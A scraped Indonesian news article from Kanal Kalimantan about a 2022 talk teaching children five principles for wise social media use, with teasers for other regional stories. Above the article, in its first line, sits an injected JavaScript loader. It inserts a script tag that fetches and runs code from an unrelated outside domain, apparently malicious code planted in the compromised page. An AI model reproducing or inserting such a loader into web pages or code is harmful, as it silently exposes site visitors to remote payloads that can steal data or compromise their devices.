(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Membangun generasi Z bijak bermedia sosial, mencegah terjadinya hal-hal negatif menjadi salah satu latar belakang Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Kabupaten Hulu Sungai Utara (HSU) dalam programnya.
“Prinsip bermedia sosial terbagi menjadi lima point, pertama ‘Is it True?’ yaitu tentang informasi atau konten yang diunggah itu benar, setelah menerima berita (informasi) pastikan benar atau tidak,” kata Staf Ahli Bidang E-Goverment Diskominfosandi HSU, Akhmad Ismail, saat menjadi narasumber kegiatan Forum Anak, di aula Dinas Pemberdayaan Perempuan dan Perlidungan Anak (DPPPA) HSU, Minggu (20/3/2022).
Sedangkan yang kedua, ‘Is it Helpful?’ yaitu konten yang diunggah itu bermanfaat bagi orang lain.
Lanjut, ketiga ‘Is it Ilegal?’ tentang izin hak cipta ketika memuat atau membagikan tulisan, foto karya seseorang.
Baca juga: 7 Pelari HSU Borong Juara Coffee Run 8Km Banjarmasin
“Biasakan diri untuk menulis sumber materi yang ingin diunggah ke media sosial,” jelas Ismail.
Keempat ‘Is it Necessary’ tentang informasi atau konten yang diunggah itu layak untuk dibagikan dan kelima ‘Is it Kind’ mengunggah konten yang tidak bermuatan hal negatif yang bisa berakibat bisa mencederai perasaan orang lain.
Adapun cara agar anak bijak bermedia sosial adalah dengan cara membatasi jumlah platform yang digunakan dapat mengurangi total yang dihabiskan di media sosial.
“Kurangi jumlah penggunaan media sosial, misalkan yang digunakan hanya instagram dan tik tok. Jangan semuanya (didownload),” imbuhnya.
Guna mencegah terjadinya hal-hal dampak negatif yang bisa mempengerahui anak menurutnya diperlukannya peranan orangtua sangat penting dibutuhkan dalam pengawasan anak menggunakan media sosial.
“Orangtua bisa membatasi anak dalam menggunakan media sosia,” tukasnya.
Baca juga: Oknum Polisi Bermasalah Bakar Rumah Ayahnya di Ketapang
Sekedar informasi, istilah generasi Z sendiri menurut para ahli dalam teori generasi (Generation Theory) adalah mereka yang lahir pada rentan tahun 1996 hingga 2012. Sementara generasi milenial disebut sebut sebegai generasi yang lahir antara rentan tahun 1981 hingga 1995. dari 2 generasi tersebut masing-masing memiliki perbedaan pertumbuhkembangan kepribadian. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.